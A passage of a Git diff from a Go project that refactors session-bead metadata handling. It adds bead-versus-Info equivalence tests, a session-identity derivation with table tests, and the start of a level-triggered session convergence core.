+			func(b beads.Bead) string { return b.Metadata["detached_at"] },
+			func(i session.Info) string { return i.DetachedAt },
+		},
+		"sessionCurrentlyProcessingBeadID": {
+			func(b beads.Bead) string { return b.Metadata[session.CurrentBeadIDKey] },
+			func(i session.Info) string { return i.CurrentlyProcessingBeadID },
+		},
+		"sessionCoreHashBreakdown": {
+			func(b beads.Bead) string { return b.Metadata["core_hash_breakdown"] },
+			func(i session.Info) string { return i.CoreHashBreakdown },
+		},
+		"sessionStartedProvisionHash": {
+			func(b beads.Bead) string { return b.Metadata["started_provision_hash"] },
+			func(i session.Info) string { return i.StartedProvisionHash },
+		},
+		"sessionStartedLaunchHash": {
+			func(b beads.Bead) string { return b.Metadata["started_launch_hash"] },
+			func(i session.Info) string { return i.StartedLaunchHash },
+		},
+		"sessionStartedLiveHash": {
+			func(b beads.Bead) string { return b.Metadata["started_live_hash"] },
+			func(i session.Info) string { return i.StartedLiveHash },
+		},
+		"sessionConfigDriftDeferredAt": {
+			func(b beads.Bead) string { return b.Metadata[namedSessionConfigDriftDeferredAtMetadata] },
+			func(i session.Info) string { return i.ConfigDriftDeferredAt },
+		},
+		"sessionConfigDriftDeferredKey": {
+			func(b beads.Bead) string { return b.Metadata[namedSessionConfigDriftDeferredKeyMetadata] },
+			func(i session.Info) string { return i.ConfigDriftDeferredKey },
+		},
+		"sessionAttachedConfigDriftDeferredAt": {
+			func(b beads.Bead) string { return b.Metadata[sessionAttachedConfigDriftDeferredAtMetadata] },
+			func(i session.Info) string { return i.AttachedConfigDriftDeferredAt },
+		},
+		"sessionAttachedConfigDriftDeferredKey": {
+			func(b beads.Bead) string { return b.Metadata[sessionAttachedConfigDriftDeferredKeyMetadata] },
+			func(i session.Info) string { return i.AttachedConfigDriftDeferredKey },
+		},
+		"sessionStrandedEventEmittedAt": {
+			func(b beads.Bead) string { return b.Metadata[strandedEventEmittedKey] },
+			func(i session.Info) string { return i.StrandedEventEmittedAt },
+		},
+		"sessionNameExplicit": {
+			func(b beads.Bead) string { return b.Metadata["session_name_explicit"] },
+			func(i session.Info) string { return i.SessionNameExplicit },
+		},
+		"sessionWakeRequest": {
+			func(b beads.Bead) string { return b.Metadata["wake_request"] },
+			func(i session.Info) string { return i.WakeRequest },
+		},
+		"sessionRestartRequested": {
+			func(b beads.Bead) string { return b.Metadata["restart_requested"] },
+			func(i session.Info) string { return i.RestartRequested },
+		},
+		"sessionSessionIDFlag": {
+			func(b beads.Bead) string { return b.Metadata["session_id_flag"] },
+			func(i session.Info) string { return i.SessionIDFlag },
+		},
+		"sessionTemplateOverrides": {
+			func(b beads.Bead) string { return b.Metadata["template_overrides"] },
+			func(i session.Info) string { return i.TemplateOverrides },
+		},
+		"sessionWakeAttemptsMetadata": {
+			func(b beads.Bead) string { return b.Metadata["wake_attempts"] },
+			func(i session.Info) string { return i.WakeAttemptsMetadata },
+		},
+	}
+
+	intChecks := map[string]struct {
+		bead func(beads.Bead) int
+		info func(session.Info) int
+	}{
+		"sessionWakeAttempts": {sessionWakeAttempts, sessionWakeAttemptsInfo},
+	}
+
+	sliceChecks := map[string]struct {
+		bead func(beads.Bead) []string
+		info func(session.Info) []string
+	}{
+		"sessionBeadAssigneeIdentities": {sessionBeadAssigneeIdentities, sessionBeadAssigneeIdentitiesInfo},
+	}
+
+	// namedSpecCfg declares a singleton named session "mayor" backed by an agent
+	// "mayor", so findNamedSessionSpec(cfg, "", "mayor") resolves — exercising the
+	// configuredNamedSessionBeadHasSpec true branch on the "named" fixture rather
+	// than a trivial both-false pass under nil cfg. The guard below fails loudly if
+	// the fixture or cfg ever stops hitting that branch.
+	namedSpecCfg := &config.City{
+		Agents:        []config.Agent{{Name: "mayor"}},
+		NamedSessions: []config.NamedSession{{Template: "mayor"}},
+	}
+	if !configuredNamedSessionBeadHasSpec(beadsByShape["named"], namedSpecCfg, "") {
+		t.Fatal("configuredNamedSessionBeadHasSpec(named, namedSpecCfg) = false; fixture/cfg no longer exercise the has-spec true branch")
+	}
+	// The "named" fixture (session_name "mayor", no terminal state) must resolve
+	// its spec AND hit the keep-alias true branch under namedSpecCfg, so the
+	// preserveConfiguredNamedSessionBead equivalence case below is a real
+	// true-branch comparison, not a trivial both-false pass.
+	if !preserveConfiguredNamedSessionBead(beadsByShape["named"], namedSpecCfg, "") {
+		t.Fatal("preserveConfiguredNamedSessionBead(named, namedSpecCfg) = false; fixture/cfg no longer exercise the keep-alias true branch")
+	}
+
+	// classifiers that take a cfg and/or a template argument.
+	cfgBoolChecks := map[string]struct {
+		bead func(beads.Bead) bool
+		info func(session.Info) bool
+	}{
+		"isCanonicalPoolManagedSessionBeadForTemplate": {
+			func(b beads.Bead) bool { return isCanonicalPoolManagedSessionBeadForTemplate(b, tmpl) },
+			func(i session.Info) bool { return isCanonicalPoolManagedSessionInfoForTemplate(i, tmpl) },
+		},
+		// nil cfg exercises the transport / provider=="acp" / MCP-key branches;
+		// the cfg-dependent agent/provider resolution is out of the codec's scope.
+		"beadUsesACPTransport": {
+			func(b beads.Bead) bool { return beadUsesACPTransport(b, nil) },
+			func(i session.Info) bool { return infoUsesACPTransport(i, nil) },
+		},
+		"configuredNamedSessionBeadHasSpec": {
+			func(b beads.Bead) bool { return configuredNamedSessionBeadHasSpec(b, namedSpecCfg, "") },
+			func(i session.Info) bool { return configuredNamedSessionBeadHasSpecInfo(i, namedSpecCfg, "") },
+		},
+		"preserveConfiguredNamedSessionBead": {
+			func(b beads.Bead) bool { return preserveConfiguredNamedSessionBead(b, namedSpecCfg, "") },
+			func(i session.Info) bool { return preserveConfiguredNamedSessionBeadInfo(i, namedSpecCfg, "") },
+		},
+	}
+
+	cfgStringChecks := map[string]struct {
+		bead func(beads.Bead) string
+		info func(session.Info) string
+	}{
+		"resolvedSessionTemplate": {
+			func(b beads.Bead) string { return resolvedSessionTemplate(b, nil) },
+			func(i session.Info) string { return resolvedSessionTemplateInfo(i, nil) },
+		},
+		"normalizedSessionTemplate": {
+			func(b beads.Bead) string { return normalizedSessionTemplate(b, nil) },
+			func(i session.Info) string { return normalizedSessionTemplateInfo(i, nil) },
+		},
+		"sessionAgentMetricIdentity": {
+			func(b beads.Bead) string { return sessionAgentMetricIdentity(b, nil) },
+			func(i session.Info) string { return sessionAgentMetricIdentityInfo(i, nil) },
+		},
+	}
+
+	const leaseStartupTimeout = 90 * time.Second
+	// leaseCfg resolves template "worker" to a live (non-suspended) agent so
+	// pendingCreateSessionStillLeased's agent-resolved tail (`return !agent.Suspended`)
+	// is exercised on the worker-template fixtures rather than only the nil-agent
+	// fallthrough. Both forms take the same cfg, so byte-identity is preserved.
+	leaseCfg := &config.City{Agents: []config.Agent{{Name: "worker"}}}
+	clkBoolChecks := map[string]struct {
+		bead func(beads.Bead) bool
+		info func(session.Info) bool
+	}{
+		"staleCreatingState": {
+			func(b beads.Bead) bool { return staleCreatingState(b, clk) },
+			func(i session.Info) bool { return staleCreatingStateInfo(i, clk) },
+		},
+		"sessionStartRequested": {
+			func(b beads.Bead) bool { return sessionStartRequested(b, clk) },
+			func(i session.Info) bool { return sessionStartRequestedInfo(i, clk) },
+		},
+		"pendingCreateSessionStillLeased": {
+			func(b beads.Bead) bool { return pendingCreateSessionStillLeased(b, leaseCfg, clk) },
+			func(i session.Info) bool { return pendingCreateSessionStillLeasedInfo(i, leaseCfg, clk) },
+		},
+		"sessionIsQuarantined": {
+			func(b beads.Bead) bool { return sessionIsQuarantined(b, clk) },
+			func(i session.Info) bool { return sessionIsQuarantinedInfo(i, clk) },
+		},
+		"pendingCreateAttemptStale": {
+			func(b beads.Bead) bool { return pendingCreateAttemptStale(b, clk) },
+			func(i session.Info) bool { return pendingCreateAttemptStaleInfo(i, clk) },
+		},
+		"pendingCreateNeverStartedLeaseExpired": {
+			func(b beads.Bead) bool { return pendingCreateNeverStartedLeaseExpired(b, clk) },
+			func(i session.Info) bool { return pendingCreateNeverStartedLeaseExpiredInfo(i, clk) },
+		},
+		"pendingCreateStartInFlight": {
+			func(b beads.Bead) bool { return pendingCreateStartInFlight(b, clk, leaseStartupTimeout) },
+			func(i session.Info) bool { return pendingCreateStartInFlightInfo(i, clk, leaseStartupTimeout) },
+		},
+		"pendingCreateLeaseActive": {
+			func(b beads.Bead) bool { return pendingCreateLeaseActive(b, clk, leaseStartupTimeout) },
+			func(i session.Info) bool { return pendingCreateLeaseActiveInfo(i, clk, leaseStartupTimeout) },
+		},
+		"pendingCreateClaimStillLeasedForSweep": {
+			func(b beads.Bead) bool { return pendingCreateClaimStillLeasedForSweep(b, leaseStartupTimeout) },
+			func(i session.Info) bool { return pendingCreateClaimStillLeasedForSweepInfo(i, leaseStartupTimeout) },
+		},
+		"pendingCreateNeverStartedExpired": {
+			func(b beads.Bead) bool { return pendingCreateNeverStartedExpired(b, clk) },
+			func(i session.Info) bool { return pendingCreateNeverStartedExpiredInfo(i, clk) },
+		},
+		"pendingCreateLeaseExpiredForRollback": {
+			func(b beads.Bead) bool { return pendingCreateLeaseExpiredForRollback(b, clk, leaseStartupTimeout) },
+			func(i session.Info) bool {
+				return pendingCreateLeaseExpiredForRollbackInfo(i, clk, leaseStartupTimeout)
+			},
+		},
+		"pendingResumePreservingNamedRestart": {
+			func(b beads.Bead) bool { return pendingResumePreservingNamedRestart(b, clk, leaseStartupTimeout) },
+			func(i session.Info) bool {
+				return pendingResumePreservingNamedRestartInfo(i, clk, leaseStartupTimeout)
+			},
+		},
+	}
+
+	// The "pending-resume-preserve" fixture must hit the true branch under
+	// leaseStartupTimeout so the equivalence case above is a real true-branch
+	// comparison (exercising the Info.StartedConfigHash gate + the lease tail),
+	// not a trivial both-false pass.
+	if !pendingResumePreservingNamedRestart(beadsByShape["pending-resume-preserve"], clk, leaseStartupTimeout) {
+		t.Fatal("pendingResumePreservingNamedRestart(pending-resume-preserve) = false; fixture no longer exercises the resume-preserve true branch")
+	}
+	// The drain-ack fixture must hit the true branch so isDrainAckStopPending's
+	// equivalence case is a real comparison, not a trivial both-false pass.
+	if !isDrainAckStopPending(beadsByShape["drain-ack-stop-pending"]) {
+		t.Fatal("isDrainAckStopPending(drain-ack-stop-pending) = false; fixture no longer exercises the true branch")
+	}
+	// The hold/quarantine fixture must drive lifecycleTimerBlocker's non-empty
+	// branch so its equivalence case is a real comparison, not a both-empty pass.
+	if lifecycleTimerBlocker(beadsByShape["hold-and-quarantine"].Metadata, clk.Now()) == "" {
+		t.Fatal(`lifecycleTimerBlocker(hold-and-quarantine) = ""; fixture no longer exercises the blocker branch`)
+	}
+
+	for shape, b := range beadsByShape {
+		b := b
+		info := session.InfoFromPersistedBead(b)
+		t.Run(shape, func(t *testing.T) {
+			for name, c := range boolChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			for name, c := range agentBoolChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			for name, c := range singletonAgentBoolChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			for name, c := range agentIntChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%d bead=%d", name, got, want)
+				}
+			}
+			for name, c := range cfgBoolChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			for name, c := range clkBoolChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			for name, c := range stringChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%q bead=%q", name, got, want)
+				}
+			}
+			for name, c := range cfgStringChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%q bead=%q", name, got, want)
+				}
+			}
+			for name, c := range intChecks {
+				if got, want := c.info(info), c.bead(b); got != want {
+					t.Errorf("%s: info=%d bead=%d", name, got, want)
+				}
+			}
+			for name, c := range sliceChecks {
+				if got, want := c.info(info), c.bead(b); !reflect.DeepEqual(got, want) {
+					t.Errorf("%s: info=%v bead=%v", name, got, want)
+				}
+			}
+			// resetPendingCommittedAt returns a (raw, parsed-time, pending) tuple,
+			// so it can't ride the scalar check maps — compare all three fields.
+			rawS, rawT, rawOK := resetPendingCommittedAt(b)
+			infoS, infoT, infoOK := resetPendingCommittedAtInfo(info)
+			if rawS != infoS || !rawT.Equal(infoT) || rawOK != infoOK {
+				t.Errorf("resetPendingCommittedAt: info=(%q,%v,%v) bead=(%q,%v,%v)", infoS, infoT, infoOK, rawS, rawT, rawOK)
+			}
+		})
+	}
+}
diff --git a/cmd/gc/session_hash.go b/cmd/gc/session_hash.go
index 264eb9aff8..915dbc1a0b 100644
--- a/cmd/gc/session_hash.go
+++ b/cmd/gc/session_hash.go
@@ -3,6 +3,7 @@ package main
 import (
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/runtime"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
 // sessionCoreConfigForHash builds the canonical config used for session
@@ -12,7 +13,14 @@ import (
 // paths may keep their pre-start assembly inline when they need setup-specific
 // diagnostics before storing first-start metadata.
 func sessionCoreConfigForHash(tp TemplateParams, session beads.Bead) runtime.Config {
+	return sessionCoreConfigForHashInfo(tp, sessionpkg.InfoFromPersistedBead(session))
+}
+
+// sessionCoreConfigForHashInfo is the session.Info form of
+// sessionCoreConfigForHash: byte-identical, threading the typed Info into the
+// template-override application instead of re-projecting a raw bead.
+func sessionCoreConfigForHashInfo(tp TemplateParams, info sessionpkg.Info) runtime.Config {
 	agentCfg := templateParamsToConfig(tp)
-	applyTemplateOverridesToConfig(&agentCfg, session, tp)
+	applyTemplateOverridesToConfigInfo(&agentCfg, info, tp)
 	return agentCfg
 }
diff --git a/cmd/gc/session_identity.go b/cmd/gc/session_identity.go
new file mode 100644
index 0000000000..eef8175981
--- /dev/null
+++ b/cmd/gc/session_identity.go
@@ -0,0 +1,56 @@
+package main
+
+import "strconv"
+
+// sessionIdentityInputs are the durable facts that determine a session bead's
+// canonical identity metadata. It is deliberately a flat value so the identity
+// contract can be derived purely and table-tested, independent of the tmux /
+// provider boot paths that historically stamped identity inline.
+type sessionIdentityInputs struct {
+	// AgentName is the qualified agent (or instance) name. When empty, the
+	// caller stamps agent_name itself on a later path (the adoption barrier
+	// resolves it after pool-base matching).
+	AgentName string
+	// SessionName is the canonical runtime session name. When empty, the
+	// canonical name is assigned later (pending pool instances derive it from
+	// the instance token at create time).
+	SessionName string
+	// State is the lifecycle state metadata value (e.g. "active" or the
+	// start-pending sentinel).
+	State string
+	// Generation and ContinuationEpoch are the monotonic identity counters.
+	Generation        int
+	ContinuationEpoch int
+	// InstanceToken uniquely identifies this incarnation of the session.
+	InstanceToken string
+	// PoolSlot is the pool instance slot; 0 for singleton / non-pool sessions.
+	PoolSlot int
+}
+
+// desiredSessionIdentity states the canonical session-identity contract once,
+// as a pure derivation from durable facts. Every arrival path (fresh create,
+// adoption) previously hand-rolled its own subset of these keys; centralizing
+// the derivation is the S19 seed that makes "identity key omitted because you
+// arrived via the wrong path" harder to reintroduce.
+//
+// Keys are emitted only when meaningful: agent_name/session_name/pool_slot are
+// omitted when their inputs are zero so callers that assign those later (the
+// adoption barrier, pending pool creates) stay byte-identical.
+func desiredSessionIdentity(in sessionIdentityInputs) map[string]string {
+	meta := map[string]string{
+		"state":              in.State,
+		"generation":         strconv.Itoa(in.Generation),
+		"continuation_epoch": strconv.Itoa(in.ContinuationEpoch),
+		"instance_token":     in.InstanceToken,
+	}
+	if in.AgentName != "" {
+		meta["agent_name"] = in.AgentName
+	}
+	if in.SessionName != "" {
+		meta["session_name"] = in.SessionName
+	}
+	if in.PoolSlot > 0 {
+		meta["pool_slot"] = strconv.Itoa(in.PoolSlot)
+	}
+	return meta
+}
diff --git a/cmd/gc/session_identity_test.go b/cmd/gc/session_identity_test.go
new file mode 100644
index 0000000000..02a14d64f0
--- /dev/null
+++ b/cmd/gc/session_identity_test.go
@@ -0,0 +1,97 @@
+package main
+
+import (
+	"reflect"
+	"testing"
+)
+
+func TestDesiredSessionIdentity(t *testing.T) {
+	tests := []struct {
+		name string
+		in   sessionIdentityInputs
+		want map[string]string
+	}{
+		{
+			name: "adoption base omits agent_name and pool_slot",
+			in: sessionIdentityInputs{
+				SessionName:       "city-worker",
+				State:             "active",
+				Generation:        1,
+				ContinuationEpoch: 1,
+				InstanceToken:     "tok-1",
+			},
+			want: map[string]string{
+				"session_name":       "city-worker",
+				"state":              "active",
+				"generation":         "1",
+				"continuation_epoch": "1",
+				"instance_token":     "tok-1",
+			},
+		},
+		{
+			name: "create base carries agent_name, omits session_name",
+			in: sessionIdentityInputs{
+				AgentName:         "gastown/worker",
+				State:             "start-pending",
+				Generation:        1,
+				ContinuationEpoch: 1,
+				InstanceToken:     "tok-2",
+			},
+			want: map[string]string{
+				"agent_name":         "gastown/worker",
+				"state":              "start-pending",
+				"generation":         "1",
+				"continuation_epoch": "1",
+				"instance_token":     "tok-2",
+			},
+		},
+		{
+			name: "pool slot stamped when positive",
+			in: sessionIdentityInputs{
+				AgentName:         "gastown/worker-3",
+				SessionName:       "city-worker-3",
+				State:             "active",
+				Generation:        2,
+				ContinuationEpoch: 5,
+				InstanceToken:     "tok-3",
+				PoolSlot:          3,
+			},
+			want: map[string]string{
+				"agent_name":         "gastown/worker-3",
+				"session_name":       "city-worker-3",
+				"state":              "active",
+				"generation":         "2",
+				"continuation_epoch": "5",
+				"instance_token":     "tok-3",
+				"pool_slot":          "3",
+			},
+		},
+		{
+			name: "zero pool slot omitted",
+			in: sessionIdentityInputs{
+				AgentName:         "a",
+				State:             "active",
+				Generation:        1,
+				ContinuationEpoch: 1,
+				InstanceToken:     "t",
+				PoolSlot:          0,
+			},
+			want: map[string]string{
+				"agent_name":         "a",
+				"state":              "active",
+				"generation":         "1",
+				"continuation_epoch": "1",
+				"instance_token":     "t",
+			},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := desiredSessionIdentity(tt.in)
+			if !reflect.DeepEqual(got, tt.want) {
+				t.Errorf("desiredSessionIdentity() = %+v, want %+v", got, tt.want)
+			}
+		})
+	}
+}
diff --git a/cmd/gc/session_index.go b/cmd/gc/session_index.go
index 8231f43a60..9925d119d4 100644
--- a/cmd/gc/session_index.go
+++ b/cmd/gc/session_index.go
@@ -8,7 +8,7 @@ import (
 	"io"
 	"sync"
 
-	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/session"
 )
 
 // sessionEntry holds indexed metadata for a single session bead.
@@ -17,7 +17,6 @@ type sessionEntry struct {
 	state         string
 	sleepReason   string
 	sessionName   string
-	poolTemplate  string
 	generation    string
 	instanceToken string
 	labels        []string
@@ -39,12 +38,12 @@ func newSessionIndex() *sessionIndex {
 // populateIndex performs a one-time scan of session beads from the store
 // and builds the in-memory index. Only open beads are indexed (closed and
 // archived beads are skipped to keep the index small).
-func (idx *sessionIndex) populateIndex(store beads.Store, stderr io.Writer) {
-	if store == nil {
+func (idx *sessionIndex) populateIndex(sessFront *session.Store, stderr io.Writer) {
+	if !sessFront.Backed() {
 		return
 	}
 
-	loaded, err := loadSessionBeads(store)
+	loaded, err := loadSessionBeads(sessFront.Store().Store)
 	if err != nil {
 		fmt.Fprintf(stderr, "session index: populate: %v\n", err) //nolint:errcheck
 		return
@@ -55,14 +54,15 @@ func (idx *sessionIndex) populateIndex(store beads.Store, stderr io.Writer) {
 
 	idx.entries = make(map[string]*sessionEntry, len(loaded))
 	for _, b := range loaded {
-		state := b.Metadata["state"]
+		info := session.InfoFromPersistedBead(b)
+		state := info.MetadataState
 		// Skip archived/closed — they don't affect reconciliation.
 		// Check both metadata state (includes legacy "stopped" mapped to
 		// "closed") and bead-level status.
-		if state == "archived" || state == "closed" || b.Status == "closed" {
+		if state == "archived" || state == "closed" || info.Closed {
 			continue
 		}
-		idx.entries[b.ID] = entryFromBead(b)
+		idx.entries[info.ID] = entryFromInfo(info)
 	}
 }
 
@@ -140,16 +140,18 @@ func (idx *sessionIndex) get(beadID string) *sessionEntry {
 	return idx.entries[beadID]
 }
 
-// entryFromBead constructs a sessionEntry from a bead's metadata.
-func entryFromBead(b beads.Bead) *sessionEntry {
+// entryFromInfo constructs a sessionEntry from a session.Info projection. Each
+// field is a verbatim codec mirror of the raw bead metadata the index formerly
+// cracked (MetadataState/SessionNameMetadata are the raw, un-normalized forms —
+// NOT the closed-blanked State or the sessionNameFor-fallback SessionName).
+func entryFromInfo(info session.Info) *sessionEntry {
 	return &sessionEntry{
-		template:      b.Metadata["template"],
-		state:         b.Metadata["state"],
-		sleepReason:   b.Metadata["sleep_reason"],
-		sessionName:   b.Metadata["session_name"],
-		poolTemplate:  b.Metadata["pool_template"],
-		generation:    b.Metadata["generation"],
-		instanceToken: b.Metadata["instance_token"],
-		labels:        b.Labels,
+		template:      info.Template,
+		state:         info.MetadataState,
+		sleepReason:   info.SleepReason,
+		sessionName:   info.SessionNameMetadata,
+		generation:    info.Generation,
+		instanceToken: info.InstanceToken,
+		labels:        info.Labels,
 	}
 }
diff --git a/cmd/gc/session_index_test.go b/cmd/gc/session_index_test.go
index a7e281d65b..7d95ea5e6d 100644
--- a/cmd/gc/session_index_test.go
+++ b/cmd/gc/session_index_test.go
@@ -49,7 +49,7 @@ func TestSessionIndex_Populate(t *testing.T) {
 
 	idx := newSessionIndex()
 	var stderr bytes.Buffer
-	idx.populateIndex(store, &stderr)
+	idx.populateIndex(sessionFrontDoor(store), &stderr)
 
 	if stderr.Len() > 0 {
 		t.Fatalf("unexpected stderr: %s", stderr.String())
diff --git a/cmd/gc/session_level_converge.go b/cmd/gc/session_level_converge.go
new file mode 100644
index 0000000000..83d266a000
--- /dev/null
+++ b/cmd/gc/session_level_converge.go
@@ -0,0 +1,246 @@
+package main
+
+import (
+	"strings"
+	"time"
+)
+
+// Level-triggered session convergence core (S19, approach b — Stage 1 slice).
+//
+// The reconciler's Phase 1 today applies session side effects (identity
+// stamping, prompt priming, firstStart classification, rollback) edge-triggered
+// and path-dependent: each arrival path (fresh spawn, adoption, resume, drift
+// relaunch, rollback) stamps its own subset, so any new path silently ships a
+// missing side effect (#3872 / #3849 / #2073). This file replaces the *decision*
+// with a pure observe -> diff -> act core:
+//
+//   observe : build durableFacts (persisted bead metadata) + runtimeFacts
+//             (observed, non-persisted signals) up front.
+//   diff    : deriveConvergeActions turns (durable x runtime) into an ordered,
+//             idempotent action list — the same every tick regardless of how the
+//             session arrived.
+//   act     : the reconciler executes the actions under the existing
+//             alias/identifier locks and the worker boundary.
+//
+// This package decides WHICH actions are needed; it performs no I/O. That keeps
+// identity heal, prompt delivery, firstStart, and rollback table-testable
+// without a tmux or provider boot — the whole point of the level-triggered shape.
+//
+// Stage 1 amends the s19-b spike to the S19 spec §2 two-phase priming
+// vocabulary: a write-ahead attempt marker plus an explicit confirmation, so a
+// crash between the two never permanently loses the startup prompt (the s19-b
+// spike's at-most-once flaw). Nothing reads the action list yet; it is exercised
+// only by tests until Stage 3 wires the act loop.
+//
+// Naming note: this is unrelated to `gc converge` (convergence loops); this is
+// per-tick session-lifecycle convergence.
+
+// primeReattemptInterval bounds delivery-attempt backoff for the startup prompt:
+// once a delivery has been declared (priming_attempted_at stamped) but not yet
+// confirmed, no fresh attempt is emitted until this interval has elapsed. This
+// is mechanical transport backoff, not judgment. Default is 2× the reconcile
+// tick (patrol) interval, floored at 60s; the default patrol interval is 30s, so
+// the floor governs.
+const primeReattemptInterval = 60 * time.Second
+
+// sessTranscriptState is a tri-state observation of whether the runtime
+// transcript backing a session's resume key currently exists on disk. Unknown
+// means the converger did not (or could not) probe — a caller that cannot probe
+// must pass sessTranscriptUnknown so its decision matches the durable-only
+// legacy signal exactly.
+type sessTranscriptState int
+
+const (
+	// sessTranscriptUnknown means the transcript was not probed.
+	sessTranscriptUnknown sessTranscriptState = iota
+	// sessTranscriptPresent means the keyed transcript exists on disk.
+	sessTranscriptPresent
+	// sessTranscriptAbsent means the keyed transcript is known to be gone.
+	sessTranscriptAbsent
+)
+
+// durableFacts are the persisted (session-bead metadata) signals the converger
+// reads. Building these once, up front, is the "observe" half of the durable
+// world; every field maps to a single bead-metadata key so there is one source
+// of truth per fact rather than a precedence ladder. Time enters as a fact
+// (now, primingAttemptedAt) so the core stays clock-free and table-testable.
+type durableFacts struct {
+	// primedAt mirrors "primed_at": non-empty means the startup prompt delivery
+	// was durably CONFIRMED (stamped only after a delivery mechanism reported
+	// success). It makes "live but never primed" detectable by any observer,
+	// unlike the runtime-only GC_STARTUP_PROMPT_DELIVERED.
+	primedAt string
+	// primingAttemptedAt mirrors "priming_attempted_at": the write-ahead attempt
+	// marker, stamped BEFORE any delivery I/O. Zero value means no attempt was
+	// ever declared. Its age gates re-attempts via primeReattemptInterval.
+	primingAttemptedAt time.Time
+	// primedPromptHash mirrors "prompt_hash": the hash of the rendered prompt the
+	// markers refer to. When it differs from currentPromptHash a stale attempt is
+	// re-eligible (the template's prompt changed under the session).
+	primedPromptHash string
+	// currentPromptHash is the hash of the currently-rendered startup prompt. It
+	// is a template-derived fact captured by the observe step, not persisted.
+	currentPromptHash string
+	// canonicalIdentity is the one canonical qualified instance name persisted on
+	// the session bead. "" means no canonical identity record exists yet, so the
+	// legacy read ladders would be consulted — the converger heals that by
+	// stamping the record.
+	canonicalIdentity string
+	// promptConfigured is true when the resolved template carries a startup
+	// prompt to deliver. When false there is nothing to prime and priming actions
+	// are never emitted (P5).
+	promptConfigured bool
+	// absent means the durable world says this session should not be running (the
+	// bead was closed or a pending create was rolled back). A lingering live
+	// runtime under an absent durable intent is the #2073 pane-leak shape.
+	absent bool
+	// now is the tick's wall clock, captured once by the observe step so the core
+	// reads no clock itself.
+	now time.Time
+}
+
+// runtimeFacts are the observed, non-persisted signals the converger reads —
+// the "observe" half of the runtime world. No I/O happens here; the caller has
+// already probed.
+type runtimeFacts struct {
+	// observed reports whether the runtime was actually probed this tick. When
+	// false, NO live-only or start/teardown action may be emitted (C5 observed
+	// gating); only durable-only heals are permitted.
+	observed bool
+	// live is true when a matching runtime session is present and alive.
+	live bool
+	// primedEnv is true when the live runtime env carries
+	// GC_STARTUP_PROMPT_DELIVERED — the prompt was delivered this runtime but may
+	// not yet be durably recorded.
+	primedEnv bool
+}
+
+// sessConvergeAction is one idempotent side effect the reconciler must apply to
+// bring the runtime and durable worlds into agreement. Emitting an action is a
+// pure decision; the reconciler performs the effect.
+type sessConvergeAction int
+
+const (
+	// actionRollbackRuntimeToAbsent tears down a runtime that lingers under an
+	// absent durable intent (rollback / closed bead), killing the pane leak. It
+	// dominates every other action and is never emitted when the runtime was not
+	// observed.
+	actionRollbackRuntimeToAbsent sessConvergeAction = iota
+	// actionStampCanonicalIdentity persists the canonical identity record when it
+	// is absent, collapsing the legacy read ladders into a single healed field. It
+	// is a durable-only heal, permitted even when the runtime was not observed.
+	actionStampCanonicalIdentity
+	// actionStampPrimedFromRuntime persists primed_at from an observed-live
+	// runtime that already carries GC_STARTUP_PROMPT_DELIVERED but lacks the
+	// durable confirmation. It heals the durable world with NO nudge — the prompt
+	// already landed this incarnation.
+	actionStampPrimedFromRuntime
+	// actionAttemptPrime is the two-phase delivery: stamp the write-ahead attempt
+	// marker, deliver via worker.Handle.Nudge, then stamp the confirmation. It is
+	// emitted only for an observed-live, prompt-bearing, unconfirmed session whose
+	// last attempt is stale enough to retry (attemptEligible).
+	actionAttemptPrime
+)
+
+// deriveFirstStart decides whether a launch should be treated as a first start
+// (fresh session via --session-id) rather than a resume (--resume), as a pure
+// function of the durable start hash and the observed transcript state.
+//
+// Legacy behavior was durable-only: firstStart == (started_config_hash == "").
+// Stage 1 preserves that EXACTLY — the comparison is the raw `== ""` the legacy
+// site used, with no TrimSpace (M10 / D4). Passing sessTranscriptUnknown
+// reproduces the legacy signal byte-for-byte, so existing call sites stay
+// behavior-preserving until they opt in to probing the transcript. The TrimSpace
+// variant is adopted deliberately at Stage 4 with its own test.
+//
+// S19 intent: firstStart is "no durable hash AND/OR no runtime transcript". A
+// present hash whose transcript is known-absent is the #3849 crash-loop shape —
+// the bead claims a prior start but the conversation a resume would target is
+// gone, so --resume hard-fails and the pane dies every tick. Classifying it as a
+// first start makes the launch use --session-id and breaks the loop by
+// construction. That branch is inert until a real probe is passed (Stage 4).
+func deriveFirstStart(startedConfigHash string, transcript sessTranscriptState) bool {
+	if startedConfigHash == "" {
+		return true
+	}
+	if transcript == sessTranscriptAbsent {
+		return true
+	}
+	return false
+}
+
+// attemptEligible reports whether a fresh startup-prompt delivery attempt may be
+// declared for a session that is live, prompt-bearing, and not yet confirmed
+// (primed_at == ""). It is pure delivery backoff (transport, not judgment):
+//
+//   - no attempt has ever been declared, or
+//   - the last attempt is at least primeReattemptInterval old (bounded retry),
+//     or
+//   - the markers refer to a different prompt than the one currently rendered
+//     (the template's prompt changed, so the old attempt is stale).
+func attemptEligible(d durableFacts) bool {
+	if d.primingAttemptedAt.IsZero() {
+		return true
+	}
+	if d.now.Sub(d.primingAttemptedAt) >= primeReattemptInterval {
+		return true
+	}
+	if d.primedPromptHash != d.currentPromptHash {
+		return true
+	}
+	return false
+}
+
+// deriveConvergeActions is the pure diff: given the durable and runtime facts
+// for one session, it returns the ordered, idempotent action list needed to
+// converge them. The order is load-bearing:
+//
+//   - Rollback dominates: an absent durable intent with an observed-live runtime
+//     means the only correct action is to converge the runtime to absent;
